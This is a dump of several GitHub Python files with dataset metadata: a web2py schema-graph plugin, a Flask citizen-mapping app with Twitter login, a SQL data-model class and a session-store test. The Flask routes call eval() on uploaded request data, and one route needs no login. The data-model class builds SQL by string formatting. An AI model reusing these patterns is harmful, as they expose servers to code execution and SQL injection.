True on first match, \n minus sign (\"-\") means, we don't want this match...\n \"\"\"\n # in views/appadmin.html forward vars=request.vars: =IMG(_src=URL('appadmin', 'bg_graph_model', vars=request.vars)\n # graph_model?table_filters=...&field_filters=...\n table_filters=(request.get_vars.table_filters or \"\").replace('%20', ' ').split()\n \n field_filters=(request.get_vars.field_filters or request.get_vars.table_filters or \"\").replace('%20', ' ').split()\n \n if table_filters==[] and field_filters==[]: # if no filters set -- show everything\n return True \n \n # if request.vars.filters:\n # filters=request.vars.filters.split()\n\n for word in table_filters: \n if word in tablename: \n return True # include\n if word.startswith('-') and word[1:] in tablename:\n return False # or exclude\n\n # match by field name\n for field in db[tablename]:\n for word in field_filters: # or one of it's fields' names\n if word in field.name:\n return True # include\n if word.startswith('-') and word[1:] in field.name:\n return False # or exclude\n\ndef bg_graph_model():\n\n if request.vars.action == 'match':\n session.graph_shown_tables = [table for table in db.tables if matches_filter(table)]\n\n if request.vars.action == 'findpath':\n if (session.findpath['start'] == request.vars.start\n and session.findpath['finish'] == request.vars.finish):\n pass # no need to re-generate stuff\n else:\n session.graph_shown_tables = findpath_between_tables()\n \n if request.vars.action == 'list':\n session.graph_shown_tables = request.vars.tables.replace(\"%20\", \" \").replace(\"->\", \"\").replace(\"<-\", \"\").split()\n\n graph = pgv.AGraph(layout='dot', directed=True, strict=False, rankdir='LR')\n\n subgraphs = dict()\n for tablename in db.tables:\n if hasattr(db[tablename],'_meta_graphmodel'):\n meta_graphmodel = db[tablename]._meta_graphmodel\n else:\n meta_graphmodel = dict(group=request.application, color='#ECECEC')\n\n group = meta_graphmodel['group'].replace(' ', '')\n if not subgraphs.has_key(group):\n subgraphs[group] = dict(meta=meta_graphmodel, tables=[])\n subgraphs[group]['tables'].append(tablename)\n else:\n subgraphs[group]['tables'].append(tablename)\n\n graph.add_node(tablename, name=tablename, shape='plaintext',\n href=TABLE_ADMIN_HREF_TPL % tablename,\n label=table_template(tablename) \n if is_shown(tablename) else tablename\n )\n \n\n\n for n, key in enumerate(subgraphs.iterkeys()):\n graph.subgraph(nbunch=subgraphs[key]['tables'],\n name='cluster%d' % n,\n style='filled',\n color=subgraphs[key]['meta']['color'],\n label=subgraphs[key]['meta']['group'])\n\n shown_tables = set([])\n for tablename in db.tables:\n for field in db[tablename]:\n f_type = field.type\n if isinstance(f_type,str) and (\n f_type.startswith('reference') or\n f_type.startswith('list:reference')):\n referenced_table = f_type.split()[1].split('.')[0]\n n1 = graph.get_node(tablename)\n n2 = graph.get_node(referenced_table)\n \n if request.vars.neighbours=='0': # show only filtered, &neighbours=0\n if is_shown(tablename) : shown_tables.add( tablename )\n if is_shown(referenced_table) : shown_tables.add( referenced_table )\n if is_shown(tablename) and is_shown(referenced_table):\n graph.add_edge(n1, n2, color=\"#4C4C4C\", label='')\n else: # default: show neighbours\n if is_shown(tablename) or is_shown(referenced_table):\n shown_tables.add( tablename )\n shown_tables.add( referenced_table )\n graph.add_edge(n1, n2, color=\"#4C4C4C\", label='')\n \n\n # import rpdb2; rpdb2.start_embedded_debugger(\"a\")\n # from gluon.debug import dbg; dbg.set_trace() # stop here\n for tablename in db.tables:\n if not tablename in shown_tables:\n graph.delete_node( tablename )\n\n graph.layout()\n if not request.args:\n # response.headers['Content-Type'] = 'image/png'\n # return graph.draw(format='png', prog='dot')\n response.headers['Content-Type'] = 'image/svg+xml'\n return graph.draw(format='svg', prog='dot')\n else:\n response.headers['Content-Disposition']='attachment;filename=graph.%s'%request.args(0)\n if request.args(0) == 'dot':\n return graph.string()\n else:\n return graph.draw(format=request.args(0), prog='dot')\n\ndef build_graph():\n dgraph = { tablename: {'to':[], 'fk':{}, 'from':[]} for tablename in db.tables }\n \n for tablename in db.tables:\n for field in db[tablename]:\n f_type = field.type\n if isinstance(f_type,str) and (\n f_type.startswith('reference') or\n f_type.startswith('list:reference')):\n referenced_table = f_type.split()[1].split('.')[0]\n dgraph[tablename]['to'].append( referenced_table )\n dgraph[tablename]['fk'][ referenced_table ] = field.name\n dgraph[referenced_table]['from'].append( tablename )\n # n1 = graph.get_node(tablename)\n # n2 = graph.get_node(referenced_table)\n # graph.add_edge(n1, n2, color=\"#4C4C4C\", label='')\n return dgraph \n \n# http://localhost:8000/app/appadmin/smart_join\n# BUG? \n# http://localhost:8000/app/appadmin/graph_model?start=sales_order&finish=address_country&max_joins=6&show_fields=-&neighbours=0&action=findpath#\n# neranda visų kelių (tame tarpe teisingo - subject_address)\n# http://localhost:8000/app/appadmin/graph_model?tables=sales_order+-%3E+branch+%3C-+subject_settings+-%3E+address_country++subject_address+sales_order+-%3E+branch+%3C-+subject_settings+-%3E+address_country++address_address&show_fields=-&neighbours=0&action=list#\ndef findpath_between_tables(start=request.vars.start, finish=request.vars.finish, max_joins=request.vars.max_joins):\n dgraph = build_graph()\n \n # use breadth-first search\n queue = [start]\n paths = [ [start] ] # list of names\n # paths_refs = [ [\"\"] ]\n # result = []\n result_paths = []\n # visited = [ start ]\n\n \n while queue:\n table = queue.pop(0)\n path = paths.pop(0)\n # refs = paths_refs.pop(0)\n \n \n if table == finish: # reach finish\n result_paths.append( path )\n continue\n\n if len(path) > int(max_joins): # if path would become too long\n continue\n \n # from gluon.debug import dbg\n # dbg.set_trace() # stop here! \n \n node = dgraph[ table ]\n for x in node['to']+node['from']: # look for join in any direction\n if (not x in path) or x==finish: # exception for x==finish will let find many paths (probably not needed after deprecating visited)\n queue.append( x )\n paths.append( path+[x] )\n # visited.append( x )\n \n # joins from path (using foreign key names)\n \n def repr_joins( path, style='w2p' or 'str' ):\n \n def add_join(A, B):\n def make_join_w2p(added_table, pk_table, fk_table, fk): \n # return db[added_table].on( db[pk_table].id == db[fk_table][fk] )\n join_txt = \"db[added_table].on( db[pk_table].id == db[fk_table][fk] )\"\n # hack to generate nicer txt\n for var in \"added_table, pk_table, fk_table, fk\".split(\", \"):\n join_txt = join_txt.replace(\"[%s]\"%var, \".\"+locals()[var])\n return join_txt\n \n if style=='w2p':\n if B in dgraph[A]['to']:\n joins.append( make_join_w2p(B, B, A, dgraph[A]['fk'][B]) )\n else:\n joins.append( make_join_w2p(B, A, B, dgraph[B]['fk'][A]) )\n\n if style=='str':\n if B in dgraph[A]['to']:\n joins.append( \" -> \"+B )\n else:\n joins.append( \" <- \"+B )\n\n joins = [] \n for i in range(len(path)-1):\n A = path[i]\n B = path[i+1]\n add_join( A, B )\n \n return joins\n from pprint import pformat\n session.findpath = {'start':start, 'finish':finish}\n # session.findpath['joins'] = {str(path): generate_join_chain(path) for path in result_paths}\n def path_hash(path): return path[0]+''.join(repr_joins(path, 'str')) if path else None\n # constructs sth like: invoice -> auth_user <- sales_settings -> good_category\n session.findpath['joins'] = { path_hash(path) : [PRE(', \\n'.join(repr_joins(path, 'w2p'))), \n A('(url)', _href= URL(vars={'action':'list', 'tables':path_hash(path) }))\n ] \n for path in result_paths}\n \n \n # return list(set(sum(result_paths))) # return set of names from paths\n \n return list(set(reduce(lambda a, b: a+b, result_paths))) if result_paths else [] # return set of names from paths\n\ndef smart_join(): \n return dict(path=findpath_between_tables()) #alias\n\n# src= https://gist.github.com/dz0/ef4bea4e6f4aaf21f084c06190efecf6\ndef graph_model():\n\n session.graph_model_vars = session.graph_model_vars or {} #init stuff for request vars\n if request.vars: session.graph_model_vars.update( request.post_vars or request.get_vars) ;\n previous = session.graph_model_vars # prepare to fill form fields with earlier info\n \n\n match_form = SQLFORM.factory(\n Field('table_filters', default=previous.get('table_filters', '') ), \n Field('field_filters', default=previous.get('fields_filters', '') ), \n Field('show_fields', default=previous.get('show_fields', 'fk') ), \n Field('neighbours', \"integer\", default=previous.get('neighbours', 0 )), \n Field('action', default=\"match\"), \n _method=\"GET\",\n )\n \n findpath_form = SQLFORM.factory(\n Field('start', default=previous.get('start', ''), requires=IS_IN_SET( list(db.tables)) ), \n # Field('bla', default=127, widget = SQLFORM.widgets.autocomplete(request, db.good.sku, id_field=db.good.id) )\n Field('finish', default=previous.get('finish', '') , requires=IS_IN_SET( list(db.tables))), \n Field('max_joins', \"integer\", default=previous.get('max_joins', 3) ), \n Field('show_fields', default=previous.get('show_fields', 'fk') ), \n Field('neighbours', \"integer\", default=previous.get('neighbours', 0 )), \n Field('action', default=\"findpath\"), \n _method=\"GET\",\n )\n \n if request.vars.action == 'findpath':\n try:\n session.graph_shown_tables = findpath_between_tables()\n except Exception as e:\n response.flash += \"Error: Can't 'findpath_between_tables':\\n\"+str(e)\n\n \n list_form = SQLFORM.factory(\n Field('tables', default=previous.get('tables', ''), ), \n Field('show_fields', default=previous.get('show_fields', 'fk') ), \n Field('neighbours', \"integer\", default=previous.get('neighbours', 0 )), \n Field('action', default=\"list\"), \n _method=\"GET\",\n )\n \n # highlight currently submitted form\n for form in [match_form, findpath_form, list_form]:\n input_action_type = form.element('input', _name='action')\n input_action_type.parent.parent['_style'] = \"display: none\"\n form_action = input_action_type['_value']\n if form_action :\n if form_action == request.vars.action:\n # response.flash+= form_action+ \" \\n \"\n form['_style']=\"margin: 5px; padding:5px; border:1px gray solid; background-color: #E5E5E5;\"\n # form.element('table')['_style']=\"background-color: #E5E5E5\"\n \n docs = {\n 'FindPath': \"Selects tables that connect \\\"Start\\\" with \\\"Finish\\\"\", \n 'List': \"Selects tables that are listed (wrong names are ignored) \", \n 'Match': \"\"\"Selects tables with names or fieldnames, that match given fragments. \n
Some \"features\":\n
  • Fragments should be separated by spaces
  • \n
  • If you want to exclude sth, you can put \"-fragment\" before (it would not affect if mentiont afterwards).
  • \n
  • Empty \"Table filters\" will select all the tables
  • \n
  • If \"Field filters\" is empty, it defaults to \"Table filters\"
  • \n \"\"\", \n 'common': \"\"\"

    \n \"Show Fields\" - filter by fragments which fields to display in tables structure.
    \n \"Neighbours\" - how many levels of adjacent neighbour-tables to show (just table names). \n \"\"\"\n }\n forms=[ \n findpath_form, \n list_form, \n match_form\n ]\n \n names = locals()\n get_form = lambda form_name: names[form_name.lower()+\"_form\"]\n \n forms = [ CAT(\n H3(form_name , \n CAT( \" (\", A(\"?\", _href=\"#\", _onclick=\"toggle('docs_\"+form_name+\"');\" ), \")\") ), \n DIV(XML(docs[form_name]+docs['common']), _id=\"docs_\"+form_name, _style=\"display:none\"), \n get_form(form_name)\n ) for form_name in \"FindPath List Match\".split() ]\n \n return dict(databases=databases, pgv=pgv, forms=forms)\n","repo_name":"dz0/web2py_grand_helpers","sub_path":"plugins/controllers/plugin_dbgraph.py","file_name":"plugin_dbgraph.py","file_ext":"py","file_size_in_byte":19611,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"50"} +{"seq_id":"24577683946","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nfrom time import gmtime, strftime\nfrom string import ascii_uppercase, digits\nimport random\n\nfrom flask import Flask\nfrom flask import request, url_for, session, redirect, flash, jsonify\nfrom flask import current_app, make_response, abort, send_file, render_template\nfrom flask_cors import CORS\nfrom flask_oauthlib.client import OAuth\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.datastructures import FileStorage\n\nfrom .utils import read4json, save2json, create_menssage\n\n\n# Create the flask app\napp = Flask(__name__,\n template_folder=\"../templates/_site\",\n static_folder=\"../static\",\n instance_relative_config=True)\n\n# Cofiguration of flask\nsys.path.insert(0, os.getcwd())\napp.config.from_object('server.config.DevelopmentConfig')\n\n# Allow post from other domains with cookies\ncors = CORS(app, supports_credentials=True)\n\n# Twitter configuration to login via OAuth\noauth = OAuth()\ntwitter = oauth.remote_app(\n 'twitter',\n base_url='https://api.twitter.com/1.1/',\n request_token_url='https://api.twitter.com/oauth/request_token',\n access_token_url='https://api.twitter.com/oauth/access_token',\n authorize_url='https://api.twitter.com/oauth/authorize',\n consumer_key=app.config['TWITTER_CONSUMER_KEY'],\n consumer_secret=app.config['TWITTER_CONSUMER_SECRET']\n)\n\n\ndef generate_random_id(size=20, chars=ascii_uppercase + digits):\n \"\"\"\n Generate a random string used on the cookies to\n autetication of the user.\n\n Thanks to Ignacio Vazquez-Abrams for this solution\n https://stackoverflow.com/questions/2257441/random-string-generation-with-upper-case-letters-and-digits-in-python#2257449\n\n Parameters\n ----------\n size: int\n Leng of the random string\n chars: string\n String used to choice the random values\n \"\"\"\n return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef allowed_file(filename):\n \"\"\"\n Check if the upload image is in a valid format\n\n Parameters\n ----------\n filename: string\n Filename\n \"\"\"\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() \\\n in app.config['ALLOWED_EXTENSIONS']\n\n\n\"\"\"\nLogin in the aplication\n-----------------------\n\"\"\"\n\n\n@app.route('/login')\ndef login():\n \"\"\"\n Login via twitter\n\n Parameters\n ----------\n return_to: str\n Url to return after login\n\n TODO:\n ----\n * Login via facebook\n \"\"\"\n next_url = request.args.get('next')\n\n allowed_routes = ['accionDirecta', 'mapeoCiudadano',\n 'historico']\n if next_url not in allowed_routes:\n next_url = ''\n\n callback_url = url_for('oauthorized', next=next_url)\n return twitter.authorize(callback=callback_url or\n request.referrer or None)\n\n\n@app.route('/logout')\ndef logout():\n \"\"\"\n Logout and remove all the cookies\n\n TODO:\n ----\n * Guardar la url de la que viene para volver a la misma\n \"\"\"\n next_url = request.args.get('next')\n\n allowed_routes = ['accionDirecta', 'mapeoCiudadano',\n 'historico']\n if next_url not in allowed_routes:\n next_url = '/'\n\n response = current_app.make_response(redirect(next_url))\n\n # Remove all the cookies\n response.set_cookie('status', '', expires=0)\n response.set_cookie('session', '', expires=0)\n\n return response\n\n\n@app.route('/oauthorized')\ndef oauthorized():\n \"\"\"\n Check if the login user have the correct permission to add points.\n\n TODO:\n * check if the facebook user have the coorect permission\n * retornar a la ultima pagina que visito el usuario antes del login\n \"\"\"\n next_url = request.args.get('next') or '/'\n\n resp = twitter.authorized_response()\n\n if resp is None:\n flash('You denied the request to sign in.')\n return redirect('/')\n elif resp['screen_name'] not in app.config['TWITTER_ALLOWED']:\n flash('You dont have premission')\n return redirect('/')\n\n access_token = resp['oauth_token']\n session['access_token'] = access_token\n session['screen_name'] = resp['screen_name']\n\n session['twitter_token'] = (\n resp['oauth_token'],\n resp['oauth_token_secret']\n )\n\n flash('You were successfully logged in')\n\n response = current_app.make_response(redirect(next_url))\n response.set_cookie('status', value=generate_random_id())\n return response\n\n\n\"\"\"\nBasic routes\n------------\n\"\"\"\n\n\n@app.route('/')\ndef home():\n return render_template(\"index.html\",\n serverUrl=app.config['SERVER_URL'])\n\n\n@app.route('/accionDirecta')\ndef accion_directa():\n return render_template(\"accionDirecta.html\",\n layersNames=app.config['DA_LAYERS_NAMES'],\n serverUrl=app.config['SERVER_URL'])\n\n\n@app.route('/mapeoCiudadano')\ndef mapeo_ciudadano():\n return render_template(\"mapeoCiudadano.html\",\n layersNames=app.config['CM_LAYERS_NAMES'],\n serverUrl=app.config['SERVER_URL'])\n\n\n@app.route('/historico')\ndef historio():\n return render_template(\"index.html\",\n serverUrl=app.config['SERVER_URL'])\n\n\n\"\"\"\nDirect action routes\n--------------------\n\"\"\"\n\n\n@app.route('/direct_action/layer/', methods=['GET'])\ndef da_data(layer_name):\n \"\"\"\n Get a geoJson data layer for direct action map.\n If the 'layer_name' dont exist, return an empty json\n\n Parameters\n ----------\n layer_name: str\n Name of the layer\n \"\"\"\n data_path = app.config['DA_FOLDER'] + layer_name + '.geojson'\n\n # Invalid layer name\n if layer_name not in app.config['DA_LAYERS_NAMES']:\n return jsonify({})\n\n data = read4json(data_path)\n return jsonify(data)\n\n\n@app.route('/direct_action/point', methods=['POST'])\ndef da_new_point():\n \"\"\"\n Add a new point to direct action map.\n Only allowed user can do this.\n\n Parameters\n ----------\n\n Errors\n ------\n 401: The user dont have permission\n 400: The image is empty\n 400: Invalid type of image\n \"\"\"\n # The user don't have permission\n if 'twitter_token' not in session:\n print(\"Error: no tiene permiso\")\n abort(401, \"You don't have permission\")\n\n # Data of the point: title, day, etc\n data = request.files['data'].read()\n data = eval(data)\n\n # Photo\n file = FileStorage(request.files['photo'])\n filename = secure_filename(request.files['photo'].filename)\n\n # Diferents check of the data and image\n\n # Invalid coordinates\n if data['latitud'] == 0:\n print(\"Error: latitud invalida\")\n abort(400, \"Invalid latitude\")\n if data['longitud'] == 0:\n print(\"Error: longitud invalida\")\n abort(400, \"Invalid longitude\")\n\n # Empty file\n if filename == '':\n print('Error: no archivo')\n abort(400, \"The image is empty\")\n\n # Invalid image extention\n if not allowed_file(filename):\n print(\"Error: Tipo de imagen invalida\")\n abort(400, \"Invalid type of image\")\n elif not file:\n print(\"Error: Tipo de imagen invalida\")\n abort(400, \"Invalid type of image\")\n\n # Invalid data layer\n if data['tipo'] not in app.config['DA_LAYERS_NAMES']:\n print(\"Error: Nombre de capa invalido\")\n abort(400, \"Invalid layer name\")\n\n # Open the geojson dataframe\n data_path = app.config['DA_FOLDER'] + data['tipo'] + '.geojson'\n df = read4json(data_path)\n\n # get the unic point id\n if len(df['features']) == 0:\n point_id = 0\n else:\n last_id = df['features'][-1]['properties']['id']\n point_id = last_id + 1\n\n # The image is correct and can save\n filename = data['tipo'] + '_' + str(point_id) + '.jpeg'\n path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n file.save(path)\n\n # Save the now point to geojson file\n point = {\n \"type\": \"Feature\",\n \"properties\": {\n \"fecha_creacion\": strftime(\"%Y-%m-%d %H:%M:%S\", gmtime()),\n \"foto\": filename,\n \"nombre\": data['titulo'],\n \"descripcion\": data['resumen'],\n \"barrio\": data['barrio'],\n \"tipo\": data['tipo'].replace(\"_\", \" \"),\n \"twit\": \"\",\n \"face\": \"\",\n \"valido\": True,\n \"id\": point_id\n },\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [\n float(data['latitud']),\n float(data['longitud'])\n ]\n }\n }\n\n df['features'].append(point)\n save2json(data_path, df)\n\n # Update the message\n create_menssage(\"direct_action\", data['tipo'])\n\n return jsonify('201')\n\n\n@app.route('/direct_action/point_d', methods=['DELETE'])\ndef da_delet_point():\n \"\"\"\n Delet an existen point\n\n Parameters\n ----------\n name: str\n Layer name\n id: int\n Unique id of the point to delet\n\n Errors\n ------\n 401: The user don't have permission\n 400: The json is empy\n 400: The layer name don't exist\n 400: The point id don't exist\n \"\"\"\n req_data = request.json\n\n # First, check the data\n # Check if the user have permission\n if 'twitter_token' not in session:\n print(\"Error: no tiene permiso\")\n abort(401, \"You don't have permission\")\n\n # Check if the json is complete\n if 'id' not in req_data:\n abort(400, \"The request json don't have a point id\")\n if 'name' not in req_data:\n abort(400, \"The request json don't have a layer name\")\n\n # Check if the layer name is valid\n if req_data['name'] not in app.config['DA_LAYERS_NAMES']:\n abort(400, \"The layer name don't exist\")\n\n # Open the geojson dataframe\n data_path = app.config['DA_FOLDER'] + req_data['name'] + '.geojson'\n data = read4json(data_path)\n\n # Get the uniques ids\n uniques_ids = []\n for element in data['features']:\n uniques_ids.append(element['properties']['id'])\n\n # Check if the point id is valid\n if req_data['id'] not in uniques_ids:\n abort(400, \"The point id don't exist\")\n\n elements = []\n for element in data['features']:\n if element['properties']['id'] != req_data['id']:\n elements.append(element)\n\n new_data = {'features': elements,\n 'type': 'FeatureCollection'}\n\n save2json(data_path, new_data)\n\n # Get the uniques point id\n return jsonify({'201': 'Point delete'})\n\n\n\"\"\"\nCitizen map routes\n------------------\n\"\"\"\n\n\n@app.route('/citizen_map/layer/', methods=['GET'])\ndef citizen_map(layer_name):\n \"\"\"\n Get a geoJson data layer for citizen map.\n If the 'layer_name' dont exist, return an empty json\n\n Parameters\n ----------\n layer_name: str\n Name of the layer\n \"\"\"\n data_path = app.config['CM_FOLDER'] + layer_name + '.geojson'\n\n # Invalid layer name\n if layer_name not in app.config['CM_LAYERS_NAMES']:\n return jsonify({})\n\n data = read4json(data_path)\n\n # If the user is login, return all the data\n if 'twitter_token' in session:\n return jsonify(data)\n\n # The user is not login. Only return valid points\n valid_elements = []\n for element in data['features']:\n if element['properties']['valido']:\n valid_elements.append(element)\n\n data = {'type': 'FeatureCollection',\n 'features': valid_elements}\n return jsonify(data)\n\n\n@app.route('/citizen_map/point', methods=['POST'])\ndef citizen_new_point():\n \"\"\"\n Add a new point to direct action map\n\n Parameters\n ----------\n\n Errors\n ------\n 401: user dont have permission to make post\n 400: the image is empty\n 400: Invalid type of image\n \"\"\"\n # Data of the point: title, day, etc\n data = request.files['data'].read()\n data = eval(data)\n\n # Photo\n file = FileStorage(request.files['photo'])\n filename = secure_filename(request.files['photo'].filename)\n\n # Diferents check of the data and image\n\n # Invalid coordinates\n if data['latitud'] == 0:\n print(\"Error: latitud invalida\")\n abort(400, \"Invalid latitude\")\n if data['longitud'] == 0:\n print(\"Error: longitud invalida\")\n abort(400, \"Invalid longitude\")\n\n # Empty file\n if filename == '':\n print('Error: no archivo')\n abort(400, \"The image is empty\")\n\n # Invalid image extention\n if not allowed_file(filename):\n print(\"Error: Tipo de imagen invalida\")\n abort(400, \"Invalid type of image\")\n elif not file:\n print(\"Error: Tipo de imagen invalida\")\n abort(400, \"Invalid type of image\")\n\n # Invalid data layer\n if data['tipo'] not in app.config['CM_LAYERS_NAMES']:\n print(\"Error: Nombre de capa invalido\")\n abort(400, \"Invalid layer name\")\n\n # Open the geojson dataframe\n data_path = app.config['CM_FOLDER'] + data['tipo'] + '.geojson'\n df = read4json(data_path)\n\n # The image is correct and can save\n amount_type = len(df['features']) + 1\n filename = data['tipo'] + '_' + str(amount_type) + '.jpeg'\n path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n file.save(path)\n\n # If the user is login, the point is validate\n if 'twitter_token' in session:\n validate = True\n else:\n validate = False\n\n # get the unic point id\n if len(df['features']) == 0:\n point_id = 0\n else:\n last_id = df['features'][-1]['properties']['id']\n point_id = last_id + 1\n\n # Save the now point to geojson file\n point = {\n \"type\": \"Feature\",\n \"properties\": {\n \"fecha_creacion\": strftime(\"%Y-%m-%d %H:%M:%S\", gmtime()),\n \"foto\": filename,\n \"nombre\": data['titulo'],\n \"descripcion\": data['resumen'],\n \"barrio\": data['barrio'],\n \"tipo\": data['tipo'].replace(\"_\", \" \"),\n \"twit\": \"\",\n \"face\": \"\",\n \"valido\": validate,\n \"id\": point_id\n },\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [\n float(data['latitud']),\n float(data['longitud'])\n ]\n }\n }\n\n df['features'].append(point)\n save2json(data_path, df)\n\n # Update the message\n # create_menssage(\"citizen_map\", data['tipo'])\n\n return jsonify('201')\n\n\n@app.route('/citizen_map/point', methods=['DELETE'])\ndef cm_delet_point():\n \"\"\"\n Delet an existen point\n\n Parameters\n ----------\n name: str\n Layer name\n id: int\n Unique id of the point to delet\n\n Errors\n ------\n 401: The user don't have permission\n 400: The json is empy\n 400: The layer name don't exist\n 400: The point id don't exist\n \"\"\"\n req_data = request.json\n\n # First, check the data\n # Check if the user have permission\n if 'twitter_token' not in session:\n print(\"Error: no tiene permiso\")\n abort(401, \"You don't have permission\")\n\n # Check if the json is complete\n if 'id' not in req_data:\n abort(400, \"The request json don't have a point id\")\n if 'name' not in req_data:\n abort(400, \"The request json don't have a layer name\")\n\n # Check if the layer name is valid\n if req_data['name'] not in app.config['CM_LAYERS_NAMES']:\n abort(400, \"The layer name don't exist\")\n\n # Open the geojson dataframe\n data_path = app.config['CM_FOLDER'] + req_data['name'] + '.geojson'\n data = read4json(data_path)\n\n # Get the uniques ids\n uniques_ids = []\n for element in data['features']:\n uniques_ids.append(element['properties']['id'])\n\n # Check if the point id is valid\n if req_data['id'] not in uniques_ids:\n abort(400, \"The point id don't exist\")\n\n elements = []\n for element in data['features']:\n if element['properties']['id'] != req_data['id']:\n elements.append(element)\n\n new_data = {'features': elements,\n 'type': 'FeatureCollection'}\n\n save2json(data_path, new_data)\n return jsonify({'201': 'Point delete'})\n\n\n@app.route('/citizen_map/point', methods=['PUT'])\ndef cm_validate_point():\n \"\"\"\n Validate a point\n\n Parameters\n ----------\n name: str\n Layer name\n id: int\n Unique id of the point to delet\n\n Errors\n ------\n 401: The user don't have permission\n 400: The json is empy\n 400: The layer name don't exist\n 400: The point id don't exist\n \"\"\"\n req_data = request.json\n\n # First, check the data\n # Check if the user have permission\n if 'twitter_token' not in session:\n print(\"Error: no tiene permiso\")\n abort(401, \"You don't have permission\")\n\n # Check if the json is complete\n if 'id' not in req_data:\n abort(400, \"The request json don't have a point id\")\n if 'name' not in req_data:\n abort(400, \"The request json don't have a layer name\")\n\n # Check if the layer name is valid\n if req_data['name'] not in app.config['CM_LAYERS_NAMES']:\n abort(400, \"The layer name don't exist\")\n\n # Open the geojson dataframe\n data_path = app.config['CM_FOLDER'] + req_data['name'] + '.geojson'\n data = read4json(data_path)\n\n # Get the uniques ids\n uniques_ids = []\n for element in data['features']:\n uniques_ids.append(element['properties']['id'])\n\n # Check if the point id is valid\n if req_data['id'] not in uniques_ids:\n abort(400, \"The point id don't exist\")\n\n for element in data['features']:\n if element['properties']['id'] == req_data['id']:\n element['properties']['valido'] = True\n\n save2json(data_path, data)\n return jsonify({'201': 'Point validate'})\n\n\n\"\"\"\nGet image\n-----------\n\"\"\"\n\n\n@app.route('/image/', methods=['GET'])\ndef get_image(image_name):\n \"\"\"\n\n \"\"\"\n elemets = os.listdir(app.config['UPLOAD_FOLDER'])\n\n if image_name not in elemets:\n print(\"Error: nombre de imagen incorrecto\")\n abort(400, \"Invalid image name\")\n\n image_path = os.path.join(app.config['UPLOAD_FOLDER'], image_name)\n\n return send_file(image_path, mimetype='image/gif')\n\n\n\"\"\"\nHttp Errors\n-----------\n\"\"\"\n\n\n@app.errorhandler(400)\ndef bad_request(error):\n \"\"\"\n Error 400 for Bad Request.\n The body request is empy or with a bad key\n For example `new_name` in side of `name`.\n \"\"\"\n if error.description:\n message = error.description\n else:\n message = 'Not found'\n return make_response(jsonify({'error': message}), 400)\n\n\n@app.errorhandler(401)\ndef unauthorized(error):\n \"\"\"\n Error 401 for Unauthorized.\n \"\"\"\n if error.description:\n message = error.description\n else:\n message = 'Unauthorized'\n\n return make_response(jsonify({'error': message}), 401)\n\n\n@app.errorhandler(404)\ndef not_found(error):\n \"\"\"\n Error 404 for Resource Not Found.\n The id in the URI don't exist.\n \"\"\"\n if error.description:\n message = error.description\n else:\n message = 'Not found'\n\n return make_response(jsonify({'error': message}), 404)\n","repo_name":"pewen/mapeoColectivo","sub_path":"server/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":19074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72049104476","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom database.datamodel import DataModel\n\nclass DMCategory(DataModel):\n def __init__(self, cls):\n super().__init__(cls)\n\n def select(self, business_id):\n self.query_sql = u'SELECT category FROM category WHERE ' \\\n + 'business_id = \"%s\"' % (business_id)\n ret = super().select()\n result = dict()\n for index, entry in enumerate(ret):\n result[index] = entry[0]\n return result\n\n def delete(self, business_id, category):\n if len(category) == 0:\n self.query_sql = u'DELETE FROM `category` WHERE business_id=\"%s\"' \\\n % (business_id)\n super().execute()\n for key, val in category.items():\n self.query_sql = \\\n u'DELETE FROM `category` WHERE business_id=\"%s\" AND category=\"%s\"' \\\n % (business_id, val)\n super().execute()\n\n def insert(self, business_id, category):\n from datamodel.business import business\n if len(business.select(business_id)) < 1:\n business.insert(business_id, {})\n for key, val in category.items():\n self.query_sql = \\\n u'INSERT INTO `category`(`business_id`, `category`) ' \\\n + 'VALUES(\"%s\", \"%s\")' \\\n % (business_id, val)\n super().execute()\n\n def update(self, business_id, category, old_category):\n for key, val in category.items():\n self.query_sql = \\\n u'UPDATE `category` SET category=%s WHERE ' \\\n % (self.quote_sql(val)) + 'business_id=\"%s\" AND category=%s' \\\n % (business_id, self.quote_sql(val))\n super().execute()\n","repo_name":"Cedric-Chen/ShopMe","sub_path":"database/dmcategory.py","file_name":"dmcategory.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"3555914948","text":"# -*- coding: utf-8 -*-\nimport os\nimport shutil\nimport tempfile\nimport unittest\n\nfrom edo_client.api import SessionStore\n\n\nclass SessionStoreTestCase(unittest.TestCase):\n\n def setUp(self):\n self.workspace = tempfile.mkdtemp()\n self.store = SessionStore(self.workspace)\n\n def tearDown(self):\n shutil.rmtree(self.workspace)\n\n def test_session_store_init(self):\n temp_dir = os.path.join(self.workspace, 'does_no_exist')\n self.assertFalse(os.path.isdir(temp_dir), 'root does not exist yet')\n self.store = SessionStore(temp_dir)\n self.assertTrue(\n os.path.isdir(temp_dir),\n 'SessionStore should create its `root` if not exist'\n )\n\n def test_session_store_save_load_remove(self):\n test_key = 'test_key might be a file path or other text'\n test_data = {\n 'key_1': 'some random string',\n 'key_2': 'well, not that random',\n 'some other type': 911,\n }\n self.store.save(test_key, **test_data)\n self.assertEqual(\n 1, len(os.listdir(self.workspace)),\n 'Data should be saved to a file on disk'\n )\n self.assertEqual(\n self.store.load(test_key),\n test_data,\n 'Should be able to load data back the same as we saved them'\n )\n self.store.remove(test_key)\n self.assertEqual(\n 0, len(os.listdir(self.workspace)),\n 'File should be removed from disk once we remove this session'\n )\n self.assertIsNone(\n self.store.load(test_key),\n 'Should return default value if no session found'\n )\n","repo_name":"easydo-cn/edo_client","sub_path":"tests/test_session_store.py","file_name":"test_session_store.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"12238099692","text":"def fib_range(x):\n print(\"First fibonacci numbers in range 1-1000 are\") \n a=0\n 